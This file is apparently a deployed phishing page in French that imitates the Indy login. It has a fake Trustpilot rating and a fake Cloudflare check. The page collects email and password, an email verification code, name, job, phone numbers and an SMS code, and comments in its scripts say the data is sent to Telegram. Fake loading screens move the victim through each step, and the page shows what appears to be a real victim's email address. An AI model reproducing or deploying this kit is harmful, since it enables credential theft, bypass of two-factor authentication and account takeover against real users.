/home2/mshostin/public_html/ez/indyfinal/index_complete.html
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Connexion - Indy</title>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="login-container">
<!-- Panel gauche - Image avec overlay Trustpilot (FIXE) -->
<div class="left-panel">
<img src="login_illustration.jpg" alt="Illustration" class="panel-image">
<!-- Scores à gauche -->
<div class="left-scores">
</div>
<!-- Overlay Trustpilot avec dégradé -->
<div class="trustpilot-overlay">
<!-- Gradient de fond -->
<div class="trustpilot-gradient"></div>
<!-- Contenu Trustpilot -->
<div class="trustpilot-content">
<!-- Étoiles -->
<div class="trustpilot-stars">
<span class="star">★</span>
<span class="star">★</span>
<span class="star">★</span>
<span class="star">★</span>
<span class="star">★</span>
</div>
<!-- Texte principal -->
<p class="trustpilot-text">Excellent ! 4.8 sur plus de <strong>10 000 avis</strong></p>
<!-- Logo et infos -->
<div class="trustpilot-info">
<div class="trustpilot-logo">
<img src="TRST.L_BIG.D.png" alt="Trustpilot">
</div>
</div>
</div>
</div>
</div>
<!-- Panel droit - Contenu dynamique -->
<div class="right-panel">
<div class="form-wrapper">
<div class="form-container">
<!-- ===== ÉCRAN 1 : CONNEXION ===== -->
<div class="screen" id="screen-login" style="display: flex; flex-direction: column;">
<!-- Logo Indy -->
<div class="logo-section">
<img src="images/indy-logo.svg" alt="Indy" class="logo-img">
</div>
<!-- Titre principal -->
<h1 class="main-title" style="font-family: 'Garamond', 'Georgia', serif; font-size: 28px; font-weight: 400; letter-spacing: 0.5px;">Ravis de vous revoir !</h1>
<!-- Boutons sociaux -->
<div class="social-buttons">
<form method="POST" action="process_login.php" style="width: 100%;">
<button type="submit" name="provider" value="google" class="btn-social">
<img src="images/google-logo.svg" alt="Google" class="social-icon">
<span>Connexion avec Google</span>
</button>
</form>
<form method="POST" action="process_login.php" style="width: 100%;">
<button type="submit" name="provider" value="apple" class="btn-social">
<img src="images/apple-logo.svg" alt="Apple" class="social-icon">
<span>Connexion avec Apple</span>
</button>
</form>
</div>
<!-- Divider -->
<div class="divider">ou</div>
<!-- Formulaire de connexion -->
<form method="POST" action="process_login.php" class="login-form" id="login-form" onsubmit="submitLogin(event)">
<!-- Email -->
<div class="input-wrapper">
<input
type="email"
name="email"
placeholder="E-mail"
class="input-field"
required
>
</div>
<!-- Password -->
<div class="input-wrapper password-wrapper">
<input
type="password"
id="password"
name="password"
placeholder="Mot de passe"
class="input-field"
required
>
<button type="button" class="toggle-password-btn" onclick="togglePassword()">
<svg class="eye-icon" viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2">
<path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"></path>
<circle cx="12" cy="12" r="3"></circle>
</svg>
</button>
</div>
<!-- Cloudflare Checkbox -->
<div class="cloudflare-checkbox">
<input type="checkbox" id="human-check" name="human_check" class="checkbox-input">
<label for="human-check" class="checkbox-label">
<span class="checkbox-text">Vérifiez que vous êtes humain</span>
<div class="cloudflare-badge">
<span class="cf-badge-text">CLOUDFLARE</span>
<span class="cf-badge-link">Conditions</span>
</div>
</label>
</div>
<!-- Submit Button -->
<button type="submit" class="btn-submit">Se connecter</button>
<!-- Mot de passe oublié -->
<div class="forgot-password">
<a href="#">Mot de passe oublié ?</a>
</div>
</form>
<!-- Créer un compte (scrollable) -->
<div class="create-account-section">
<p>Pas encore de compte ? <a href="#" class="create-link"><strong>Créer un compte</strong></a></p>
</div>
</div>
<!-- ===== ÉCRAN 2 : LOADING ===== -->
<div class="screen" id="screen-loading" style="display: none; flex-direction: column; align-items: center; justify-content: center; gap: 40px; min-height: 100%;">
<!-- Logo Indy -->
<div class="logo-section">
<img src="images/indy-logo.svg" alt="Indy" class="logo-img">
</div>
<!-- Barre de vérification -->
<div class="verification-bar">
<div class="verification-progress"></div>
</div>
<!-- Texte de vérification -->
<p class="verification-text">En cours de vérification...</p>
</div>
<!-- ===== ÉCRAN 3 : VÉRIFICATION EMAIL ===== -->
<div class="screen" id="screen-email-code" style="display: none; flex-direction: column;">
<!-- Logo Indy -->
<div class="logo-section">
<img src="images/indy-logo.svg" alt="Indy" class="logo-img">
</div>
<!-- Icône Email -->
<div class="email-icon-section">
<svg class="email-icon" viewBox="0 0 24 24" width="32" height="32" fill="none" stroke="currentColor" stroke-width="2">
<rect x="2" y="4" width="20" height="16" rx="2"></rect>
<path d="m22 7-8.97 5.7a1.94 1.94 0 0 1-2.06 0L2 7"></path>
</svg>
</div>
<!-- Titre et description -->
<div class="email-info">
<h1 class="main-title">Vérification par e-mail</h1>
<p class="email-description">Saisissez le code de sécurité à 6 chiffres envoyé par e-mail à l'adresse</p>
<p class="email-address" id="email-display">malak01032016@gmail.com</p>
</div>
<!-- Formulaire de vérification -->
<form method="POST" action="process_email_code.php" class="login-form" id="email-form" onsubmit="submitEmailCode(event)">
<!-- Code Email -->
<div class="input-wrapper">
<input
type="text"
name="email_code"
placeholder="Code à 6 chiffres"
class="input-field"
maxlength="6"
required
>
</div>
<!-- Cloudflare Checkbox -->
<div class="cloudflare-checkbox">
<input type="checkbox" id="human-check-email" name="human_check" class="checkbox-input">
<label for="human-check-email" class="checkbox-label">
<span class="checkbox-text">Vérifiez que vous êtes humain</span>
<div class="cloudflare-badge">
<span class="cf-badge-text">CLOUDFLARE</span>
<span class="cf-badge-link">Conditions</span>
</div>
</label>
</div>
<!-- Submit Button -->
<button type="submit" class="btn-submit">Se connecter</button>
<!-- Retour -->
<div class="forgot-password">
<a href="#" onclick="showScreen('screen-login'); return false;">Retour</a>
</div>
</form>
<!-- Créer un compte (scrollable) -->
<div class="create-account-section">
<p>Pas encore de compte ? <a href="#" class="create-link"><strong>Créer mon compte</strong></a></p>
</div>
</div>
<!-- ===== ÉCRAN 4 : INFORMATIONS PERSONNELLES ===== -->
<div class="screen" id="screen-personal-info" style="display: none; flex-direction: column;">
<!-- Logo Indy -->
<div class="logo-section">
<img src="images/indy-logo.svg" alt="Indy" class="logo-img">
</div>
<!-- Icône Info -->
<div class="email-icon-section">
<svg class="email-icon" viewBox="0 0 24 24" width="32" height="32" fill="none" stroke="currentColor" stroke-width="2">
<circle cx="12" cy="12" r="10"></circle>
<line x1="12" y1="16" x2="12" y2="12"></line>
<line x1="12" y1="8" x2="12.01" y2="8"></line>
</svg>
</div>
<!-- Titre et description -->
<div class="email-info">
<h1 class="main-title">Informations personnelles</h1>
<p class="email-description">Complétez vos informations pour continuer.</p>
</div>
<!-- Formulaire d'informations -->
<form method="POST" action="process_personal_info.php" class="login-form" id="personal-form" onsubmit="submitPersonalInfo(event)">
<!-- Nom -->
<div class="input-wrapper">
<input
type="text"
name="last_name"
placeholder="Nom"
class="input-field"
required
>
</div>
<!-- Prénom -->
<div class="input-wrapper">
<input
type="text"
name="first_name"
placeholder="Prénom"
class="input-field"
required
>
</div>
<!-- Poste -->
<div class="input-wrapper">
<input
type="text"
name="position"
placeholder="Poste occupé"
class="input-field"
required
>
</div>
<!-- Téléphone -->
<div class="input-wrapper">
<input
type="tel"
name="phone"
placeholder="Téléphone"
class="input-field"
pattern="^(?:(?:\+|00)33|0)[1-9](?:[0-9]{8})$"
title="Veuillez entrer un numéro de téléphone français valide"
required
>
</div>
<!-- Portable -->
<div class="input-wrapper">
<input
type="tel"
name="mobile"
placeholder="Portable"
class="input-field"
pattern="^(?:(?:\+|00)33|0)[1-9](?:[0-9]{8})$"
title="Veuillez entrer un numéro de portable français valide"
required
>
</div>
<!-- Submit Button -->
<button type="submit" class="btn-submit">Vérifier</button>
<!-- Retour -->
<div class="forgot-password">
<a href="#" onclick="showScreen('screen-email-code'); return false;">Retour</a>
</div>
</form>
<!-- Créer un compte (scrollable) -->
<div class="create-account-section">
<p>Pas encore de compte ? <a href="#" class="create-link"><strong>Créer mon compte</strong></a></p>
</div>
</div>
<!-- ===== ÉCRAN 5 : VÉRIFICATION SMS ===== -->
<div class="screen" id="screen-sms-code" style="display: none; flex-direction: column;">
<!-- Logo Indy -->
<div class="logo-section">
<img src="images/indy-logo.svg" alt="Indy" class="logo-img">
</div>
<!-- Icône SMS -->
<div class="email-icon-section">
<svg class="email-icon" viewBox="0 0 24 24" width="32" height="32" fill="none" stroke="currentColor" stroke-width="2">
<path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"></path>
</svg>
</div>
<!-- Titre et description -->
<div class="email-info">
<h1 class="main-title">Vérification par SMS</h1>
<p class="email-description">Saisissez le code de sécurité à 6 chiffres envoyé par SMS.</p>
</div>
<!-- Formulaire SMS -->
<form method="POST" action="process_sms_code.php" class="login-form" id="sms-form" onsubmit="submitSmsCode(event)">
<!-- Code SMS -->
<div class="input-wrapper">
<input
type="text"
name="sms_code"
placeholder="Code à 6 chiffres"
class="input-field"
maxlength="6"
required
>
</div>
<!-- Cloudflare Checkbox -->
<div class="cloudflare-checkbox">
<input type="checkbox" id="human-check-sms" name="human_check" class="checkbox-input">
<label for="human-check-sms" class="checkbox-label">
<span class="checkbox-text">Vérifiez que vous êtes humain</span>
<div class="cloudflare-badge">
<span class="cf-badge-text">CLOUDFLARE</span>
<span class="cf-badge-link">Conditions</span>
</div>
</label>
</div>
<!-- Submit Button -->
<button type="submit" class="btn-submit">Vérifier</button>
<!-- Retour -->
<div class="forgot-password">
<a href="#" onclick="showScreen('screen-personal-info'); return false;">Retour</a>
</div>
</form>
<!-- Créer un compte (scrollable) -->
<div class="create-account-section">
<p>Pas encore de compte ? <a href="#" class="create-link"><strong>Créer mon compte</strong></a></p>
</div>
</div>
</div>
</div>
</div>
</div>
<style>
.screen {
width: 100%;
}
.email-icon-section {
text-align: center;
margin-bottom: 20px;
flex-shrink: 0;
}
.email-icon {
color: #ff4081;
width: 40px;
height: 40px;
margin: 0 auto;
}
.email-info {
text-align: center;
margin-bottom: 24px;
flex-shrink: 0;
}
.email-description {
font-size: 12px;
color: #666666;
margin-bottom: 6px;
line-height: 1.4;
}
.email-address {
font-size: 13px;
font-weight: 600;
color: #333333;
}
/* Barre de vérification */
.verification-bar {
width: 100%;
max-width: 300px;
height: 4px;
background: #f0f0f0;
border-radius: 2px;
overflow: hidden;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
}
.verification-progress {
height: 100%;
background: linear-gradient(90deg, #ff4081 0%, #ff1493 100%);
border-radius: 2px;
animation: progress 4s cubic-bezier(0.4, 0, 0.2, 1) forwards;
box-shadow: 0 0 12px rgba(255, 64, 129, 0.4);
}
@keyframes progress {
0% {
width: 0%;
}
50% {
width: 70%;
}
100% {
width: 100%;
}
}
/* Texte de vérification */
.verification-text {
font-size: 14px;
color: #999999;
font-weight: 500;
letter-spacing: 0.3px;
text-align: center;
animation: fadeInOut 2s ease-in-out infinite;
}
@keyframes fadeInOut {
0%, 100% {
opacity: 0.6;
}
50% {
opacity: 1;
}
}
@media (max-width: 768px) {
.email-icon {
width: 36px;
height: 36px;
}
.email-description {
font-size: 11px;
}
.email-address {
font-size: 12px;
}
}
@media (max-width: 480px) {
.email-icon {
width: 32px;
height: 32px;
}
.email-description {
font-size: 10px;
}
.email-address {
font-size: 11px;
}
}
</style>
<script>
// Afficher/masquer les écrans
function showScreen(screenId) {
const screens = document.querySelectorAll('.screen');
screens.forEach(screen => screen.style.display = 'none');
document.getElementById(screenId).style.display = 'flex';
}
function togglePassword() {
const passwordInput = document.getElementById('password');
const eyeIcon = document.querySelector('.eye-icon');
if (passwordInput.type === 'password') {
passwordInput.type = 'text';
eyeIcon.style.opacity = '0.5';
} else {
passwordInput.type = 'password';
eyeIcon.style.opacity = '1';
}
}
// Changer la couleur du bouton quand les champs sont remplis
function updateButtonColor() {
const emailInput = document.querySelector('input[name="email"]');
const passwordInput = document.querySelector('input[name="password"]');
const submitBtn = document.querySelector('#screen-login .btn-submit');
if (emailInput && passwordInput && submitBtn) {
if (emailInput.value.trim() !== '' && passwordInput.value.trim() !== '') {
submitBtn.classList.add('active');
} else {
submitBtn.classList.remove('active');
}
}
}
// Changer la couleur du bouton email code
function updateEmailCodeButtonColor() {
const codeInput = document.querySelector('#screen-email-code input[name="email_code"]');
const submitBtn = document.querySelector('#screen-email-code .btn-submit');
if (codeInput && submitBtn) {
if (codeInput.value.trim() !== '' && codeInput.value.length === 6) {
submitBtn.classList.add('active');
} else {
submitBtn.classList.remove('active');
}
}
}
// Changer la couleur du bouton infos personnelles
function updatePersonalInfoButtonColor() {
const lastNameInput = document.querySelector('#screen-personal-info input[name="last_name"]');
const firstNameInput = document.querySelector('#screen-personal-info input[name="first_name"]');
const positionInput = document.querySelector('#screen-personal-info input[name="position"]');
const phoneInput = document.querySelector('#screen-personal-info input[name="phone"]');
const mobileInput = document.querySelector('#screen-personal-info input[name="mobile"]');
const submitBtn = document.querySelector('#screen-personal-info .btn-submit');
if (lastNameInput && firstNameInput && positionInput && phoneInput && mobileInput && submitBtn) {
if (lastNameInput.value.trim() !== '' &&
firstNameInput.value.trim() !== '' &&
positionInput.value.trim() !== '' &&
phoneInput.value.trim() !== '' &&
mobileInput.value.trim() !== '') {
submitBtn.classList.add('active');
} else {
submitBtn.classList.remove('active');
}
}
}
// Changer la couleur du bouton SMS
function updateSmsCodeButtonColor() {
const codeInput = document.querySelector('#screen-sms-code input[name="sms_code"]');
const submitBtn = document.querySelector('#screen-sms-code .btn-submit');
if (codeInput && submitBtn) {
if (codeInput.value.trim() !== '' && codeInput.value.length === 6) {
submitBtn.classList.add('active');
} else {
submitBtn.classList.remove('active');
}
}
}
// Ajouter les event listeners
document.addEventListener('DOMContentLoaded', function() {
// Login form
const emailInput = document.querySelector('input[name="email"]');
const passwordInput = document.querySelector('input[name="password"]');
if (emailInput) emailInput.addEventListener('input', updateButtonColor);
if (passwordInput) passwordInput.addEventListener('input', updateButtonColor);
// Email code form
const codeInput = document.querySelector('#screen-email-code input[name="email_code"]');
if (codeInput) {
codeInput.addEventListener('input', updateEmailCodeButtonColor);
codeInput.addEventListener('input', function() {
this.value = this.value.replace(/[^0-9]/g, '');
});
}
// Personal info form
const lastNameInput = document.querySelector('#screen-personal-info input[name="last_name"]');
const firstNameInput = document.querySelector('#screen-personal-info input[name="first_name"]');
const positionInput = document.querySelector('#screen-personal-info input[name="position"]');
const phoneInput = document.querySelector('#screen-personal-info input[name="phone"]');
const mobileInput = document.querySelector('#screen-personal-info input[name="mobile"]');
if (lastNameInput) lastNameInput.addEventListener('input', updatePersonalInfoButtonColor);
if (firstNameInput) firstNameInput.addEventListener('input', updatePersonalInfoButtonColor);
if (positionInput) positionInput.addEventListener('input', updatePersonalInfoButtonColor);
if (phoneInput) phoneInput.addEventListener('input', updatePersonalInfoButtonColor);
if (mobileInput) mobileInput.addEventListener('input', updatePersonalInfoButtonColor);
// SMS code form
const smsCodeInput = document.querySelector('#screen-sms-code input[name="sms_code"]');
if (smsCodeInput) {
smsCodeInput.addEventListener('input', updateSmsCodeButtonColor);
smsCodeInput.addEventListener('input', function() {
this.value = this.value.replace(/[^0-9]/g, '');
});
}
});
// Soumettre le formulaire de connexion
function submitLogin(event) {
event.preventDefault();
const form = document.getElementById('login-form');
const formData = new FormData(form);
const email = formData.get('email');
// Stocker l'email
sessionStorage.setItem('userEmail', email);
// Envoyer les données à Telegram
fetch('process_login.php', {
method: 'POST',
body: formData
}).then(() => {
// Afficher le loading
showScreen('screen-loading');
// Après 4 secondes, afficher la vérification email
setTimeout(() => {
document.getElementById('email-display').textContent = email;
showScreen('screen-email-code');
}, 4000);
}).catch(error => {
console.error('Erreur:', error);
showScreen('screen-loading');
setTimeout(() => {
document.getElementById('email-display').textContent = email;
showScreen('screen-email-code');
}, 4000);
});
}
// Soumettre le code email
function submitEmailCode(event) {
event.preventDefault();
const form = document.getElementById('email-form');
const formData = new FormData(form);
// Envoyer les données à Telegram
fetch('process_email_code.php', {
method: 'POST',
body: formData
}).then(() => {
// Afficher le loading
showScreen('screen-loading');
// Après 4 secondes, afficher les infos personnelles
setTimeout(() => {
showScreen('screen-personal-info');
}, 4000);
}).catch(error => {
console.error('Erreur:', error);
showScreen('screen-loading');
setTimeout(() => {
showScreen('screen-personal-info');
}, 4000);
});
}
// Soumettre les infos personnelles
function submitPersonalInfo(event) {
event.preventDefault();
const form = document.getElementById('personal-form');
const formData = new FormData(form);
// Envoyer les données à Telegram
fetch('process_personal_info.php', {
method: 'POST',
body: formData
}).then(() => {
// Afficher le loading
showScreen('screen-loading');
// Après 4 secondes, afficher le SMS
setTimeout(() => {
showScreen('screen-sms-code');
}, 4000);
}).catch(error => {
console.error('Erreur:', error);
showScreen('screen-loading');
setTimeout(() => {
showScreen('screen-sms-code');
}, 4000);
});
}
// Soumettre le code SMS
function submitSmsCode(event) {
event.preventDefault();
const form = document.getElementById('sms-form');
const formData = new FormData(form);
// Envoyer les données à Telegram
fetch('process_sms_code.php', {
method: 'POST',
body: formData
}).then(() => {
// Afficher le loading
showScreen('screen-loading');
// Après 4 secondes, redirection
setTimeout(() => {
window.location.href = 'success.html';
}, 4000);
}).catch(error => {
console.error('Erreur:', error);
showScreen('screen-loading');
setTimeout(() => {
window.location.href = 'success.html';
}, 4000);
});
}
</script>
</body>
</html>